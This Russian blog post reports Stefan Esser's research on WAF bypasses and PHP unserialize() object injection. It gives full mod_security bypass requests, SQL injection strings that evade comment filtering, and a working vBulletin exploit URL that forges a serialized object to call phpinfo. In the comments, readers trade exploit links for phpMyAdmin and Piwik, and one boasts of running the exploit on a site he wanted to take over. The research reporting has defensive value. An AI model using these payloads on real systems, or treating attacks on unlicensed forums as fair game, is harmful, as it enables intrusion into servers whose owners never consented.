Стефан Эссер снова порадовал очередной порцией свежей информации о новых уязвимостях в своих выступлениях сразу на двух мероприятиях (RSS09 и Powerofcommunity). В частности, он поделился интересными способами обхода таких WAF как mod_security и F5 BIGIP ASM, информацией о возможных уязвимостях в продуктах, работающих на Zend Framework, а также о том, как можно использовать уязвимость, связанной с прерываниями внутренних функций в PHP, несмотря на выпущенные фиксы. Итак, обо всем по порядку.
Обход WAF стал в последнее время очень популярной темой, о чем свидетельствуют последние исследования. Как всегда, под прицелом самый известный из файрволов – mod_security. В последних обновлениях базового набора правил (CORERULES) были включены правила из другого не менее известного продукта из этой же категории – PHP-IDS. Однако сделано это было не совсем правильно. Например, эти правила пропускают запрос, если в его теле был обнаружен заголовок Content-Type со значением multipart/form-data, что обычно указывает на передачу файлов. Вместе с тем некоторые другие правила из CORERULES также подвержены этой ошибке, а следующий запрос полностью обходит всю фильтрацию очень простым способом:
POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx--
------xxxx
Content-Disposition: form-data; name="msg"
With only CORERULES installed you can speak about wget
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--
Примечательно, что Стефан уже публиковал advisory, в котором был предложен похожий способ, но с применением нулл-байта.
Следующий способ обхода mod_security актуален, когда помимо CORERULES используется дополнительное правило MULTIPART_STRICT_ERROR. В предложенном эксплоите, хотя и не упоминается, используется техника HTTP Parameter Pollution:
POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx
Content-Disposition: form-data; name=';filename="';name=payload;"
For ModSecurity I am a file - bypassing all rules
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--
Еще один способ обхода основывается на том, что mod_security перед анализом запроса проводит его корректирование с помощью нескольких функций, в числе которых функция для очистки запроса от комментариев. Этот способ, на самом деле, был найден впервые Дмитрием Евтеевым, так как сообщение о нем было опубликовано в его блоге немного раньше. Впрочем, предложенные примеры обхода совершенно разные, что доказывает независимость их исследований. Сравните:
index.php?x=/*&var=‘ UNION SELECT * FROM user /* /?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
Мне, например, больше нравится второй способ (от Дмитрия), так как он не вызывает ошибку при незакрытом многострочном комментарии (в версиях MySQL от 5.0.50 и 5.1.23 требуется закрывать комментарий).
Последний способ обхода WAF касается коммерческого F5 BIGIP ASM, и также связан с multipart/form-data; пример обхода смотрите в слайдах (ссылка в конце).
Следующая часть посвящена уязвимости в веб-приложениях на PHP, связанной с функцией unserialize() и методом классов __destruct(). Функция unserialize() используется для преобразования сериализованных данных в значение. Она поддерживает такие типы переменных, как строка, число, массив, и, что самое главное, объект. Сериализованные данные обычно не поступают от пользователя, но если веб-приложение допускает такую возможность, то это становится очень серьезной проблемой в безопасности. Здесь стоит вспомнить очень старую уязвимость в phpbb 2.0.12, которая позволяла получить администраторские привилегии в виду неправильной проверки данных из cookie (они передавались сериализованными и без какой-либо проверки на изменения со стороны пользователя). Уязвимый код выглядел таким образом:
<?php if( $sessiondata['autologinid'] == $auto_login_key ) { /* ... */ }
Переменная $auto_login_key имела булево значение true, если передавались такие данные:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
В следующей версии phpbb баг был исправлен заменой оператора сравнения == на ===. В веб-приложениях нынешнего поколения все чаще применяется объектно-ориентированный подход, что открывает возможности для новых атак. В PHP для классов можно определить метод __destruct(), который вызывается всякий раз, когда приложение завершает свою работу (перед отправкой HTTP-ответа). Обычно в деструкторе можно встретить функции, которые завершают текущее соединение с базой данных, удаляют какие-либо временные файлы или локальные переменные. Чем же может быть интересен этот метод? А дело в том, что __destruct() какого-либо объявленного в коде класса вызывается, если десериализовать объект этого класса. Например:
<?php class Test { public function __destruct() { echo 'test'; } } unserialize('O:4:"Test":0:{}');
После запуска этого сценария будет выведена строка test. Как пишет Стефан, он долго искал полезный __destruct(), и в конце концов его поиски увенчались успехом. Речь идет о Zend Framework, являющийся огромным фреймворком с массой классов с деструкторами. Сам ZF не подвержен данной уязвимости, однако приложения, базирующиеся на нем, если допускают попадание пользовательских данных в unserialize(), могут быть с легкостью скомпрометированы. Здесь и выполнение любого кода, и загрузка произвольных файлов, в общем, практически любые действия. ZF имеет очень запутанную структуру, и понять примеры Стефана довольно трудно. Поэтому я решил показать на примере VBulletin, вернее на нулленной вобле нелицензионной версии форума.
В VBulletin имеется класс vB_Shutdown, который представляет интерфейс для удобного вызова функций при завершении работы форума. Этот класс имеет следующий деструктор:
<?php function __destruct() { if (!empty($this->shutdown)) { foreach ($this->shutdown AS $key => $funcname) { $funcname(); unset($this->shutdown[$key]); } } }
Очевидно, что создав объект этого класса со свойством shutdown равным, скажем, phpinfo, мы увидим результат работы этой функции. Вместе с этим, благоприятным является тот факт, что vbulletin активно использует сериализованные данные в параметрах. Однако система не дает просто так менять данные – имеется функция, которая проверяет их достоверность:
<?php function verify_client_string($string, $extra_entropy = '') { /* ... */ $firstpart = substr($string, 0, 40); $return = substr($string, 40); $decode = false; /* ... */ if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart) { return ($decode ? base64_decode($return) : $return); } return false; }
Из кода следует, что для подделки сериализованных данных необходимо знать значение константы COOKIE_SALT, которая равна лицензионному ключу. Кроме того, можно самостоятельно указать это значение путем правки конфигурационного файла ($config[‘Misc’][‘cookie_security_hash’]). В нелицензионных копиях форума по умолчанию значение COOKIE_SALT пустое, поэтому данная функция не играет никакой роли.
В коде форума unserialize() встрчается множество раз, вот один из них (forumdisplay.php):
<?php if ($vbulletin->GPC['postvars'] != '') { if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false) { $temp = unserialize($check); /* ... */ } }
Таким образом, эксплоит для выполнения phpinfo() выглядит так:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Возвращаясь к Zend Framework, стоит сказать, что подобной уязвимости подвержены такие приложения как Magento, Zend Server и PHP-IDS. Последний в сочетании с ZF не только не защищал (до версии 0.6.3.1), но открывал очень простой ход на сервер, так как перед проверкой данных зачем-то пытался их десериализовать.
Вот собственно и все. В слайдах имеется еще одна часть, посвященная так называемым Interruption Vulnerabilities, с которой вы можете ознакомиться по ссылке ниже.
Shocking News In PHP Exploitation
P.S. компания Стефана выпустила постеры для разработчиков, где представлено много полезной информации о безопасном программировании на PHP. Постеры совершенно бесплатны, заказать можно здесь.
27 replies on “Новые способы обхода WAF и PHP эксплоиты”
Опаньки, материал о десериализации объектов я уже сдал в январский ][ )
Касательно твоей заметки… кроме __destruct, юзабельными при использовании unserialize являются методы __toString и __wakeup, а также ты не написал про особенности сериализации, если в классе используются private и protected дескрипторы)
Насчет примеры с булкой – реальной рабочий эксплойт? о.О
__toString и __wakeup смотрел, но в этих методах, как правило, еще меньше вероятность найти что-либо полезное. Поправь, если у тебя есть пример.
Насчет private и protected, сейчас проверил, действительно похоже нужны нулл-байты для обозначения таких свойств.
На нуленной булке 3.8.1 без изменения конфига у меня работало.
Кстати ты нашел нужный unserialize() в Magento? 😉
Всё ковыряют несчастный PHP 🙂 .
Интересно, как обстоят дела с другими языками и фреймворками (не думаю, что значительно лучше). Понятно, что данная платформа наиболее популярна и привлекательна для новичков, но такого рода баги уже и среднего класса программисты не заметят, если не будут заострять своё внимание на безопасности, как это делают пен-тестеры. А Zend Framework пишут ведь не дилетанты и не программисты того самого “среднего класса”.
Хотелось просто сказать, что в целом выглядит всё достаточно трагично – уж слишком обильное количество неведомых трюков, хитростей,уязвимостей, да и частота обновления багтреков.
И все мигом ломанулись ломать несчастный Online RPG))
насчет булки понял) жаль, что в сео неюзабельно, так как работает лишь на нуленой версии, будем копать((
насчет __wakeup, глянь, например, http://www.google.com/codesearch/p?hl=en#zXiKwnPRNog/trunk/phpMyAdmin/libraries/Config.class.php&q=__wakeup&sa=N&cd=12&ct=rc
Имхо, как-то можно изучить)
Насчет __toString уверен, так же можно некоторые примеры найти)
Кстати, не проверял методы __call, __get, __set, если через unserialize попробовать вызвать несуществующие методы или свойства, эти методы будут вызываться?
Magento и прочие упомянутые в статье не смотрел – неинтересно)
Читал заметку еще с оригинала, так как подписан на рсс.
Новые векторы в нашей отрасли это всегда интересно. Ну а по поводу воблы, то нужно искать метод для раскрытия ключа, да и в рунете достаточно много форумов, что не согласны платить и используют нулленые вот и будет наказание для “скупых” 🙂
@Abbat
ссылку удалил на всякий случай 🙂
@Ams
что касается остальных PHP-фреймворков, то они более скромны в использовании деструкторов, поэтому неуязвимы.
@M4g
ок, спасибо, теперь буду учитывать все magic методы.
думаю нет
@halkfild
кстати COOKIE_SALT вполне брутабелен, так как лицензионный ключ состоит из 8 символов upperalpha
Хм, а если такой ответ:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/public_html/forums/forumdisplay.php on line 169
пока не выяснил, но возможно suhosin patch не допускает выполнение деструктора после Fatal Error. А вообще такое ощущение, что по этой же причине работает только на винде.
вот и первые ласточки)
http://www.suspekt.org/2009/12/09/advisory-032009-piwik-cookie-unserialize-vulnerability/
по поводу:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/public_html/forums/forumdisplay.php on line 169
автор нечаянно, а может специально внес в эксплойт ошибочку одну.
но блин я попотел и все заработало. Респект. Уже наблюдаю пхпинфу на одном сайте который я уже полгода хотел подмять.
Жаль только что пхп-инфой все и ограничилось, ведь запускать можно только функции без параметров.
Какие будут мысли?
Да, в случае с коментом, способ Дмитрия будет получше…
Как я понял пользоваться можно только функциями без параметров?
Если имеешь в виду vbulletin, то, к сожалению, да. Все зависит от кода в деструкторе или __wakeup() – в Zend Framework, например, есть несколько удобных __destruct(), которые позволяют выполнять произвольный код.
занятная штука) , а кроме __destruct() и __wakeup() чёнить вызвать можно ?
еще можно __toString() – выполняет перегрузку преобразования объекта в строку.
в vbulletin кроме phpinfo ещё что-то полезное можно вытянуть?
а вот и обещанный phpMyAdmin 🙂
http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
живой пример:
http://www.pulsar-it.com/phpMyAdmin/
ребята а кто нибудь разбирал уязвимость piwik по ссылке что указал m4g я меня так и смог не получить PoC
в мартовском (или апрельском, я хз что там у них за изменения) хакере я на пальцах эту багу разобрал, жди этот номер)
вот заинтриговал яж теперь до марта не до тяну хотя бы подскажи в какую сторону копать ато чтото я запутался там , немогу пробраться ни к одному из деструкторов, а номер обязательно возьму какбы оно не было )
все проще) сплоенты вот
http://www.suspekt.org/downloads/Piwik_Smarty.txt – выполнение произвольного кода в Piwik через Smarty
http://www.suspekt.org/downloads/Piwik_Config.txt – запись произвольных файлов в Piwik
ооо удружил я даже не ожидал пасиб!!! шя за пивом и буду разбератся ))
и еше кое что интересное на тему 😉
http://php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/
http://nibbles.tuxfamily.org/?p=1837
ага, был бы удаленный вариант
Ну вот, прошло больше года.. На выложенной в паблик уязвимости в PMA люди заработали миллионы рублей.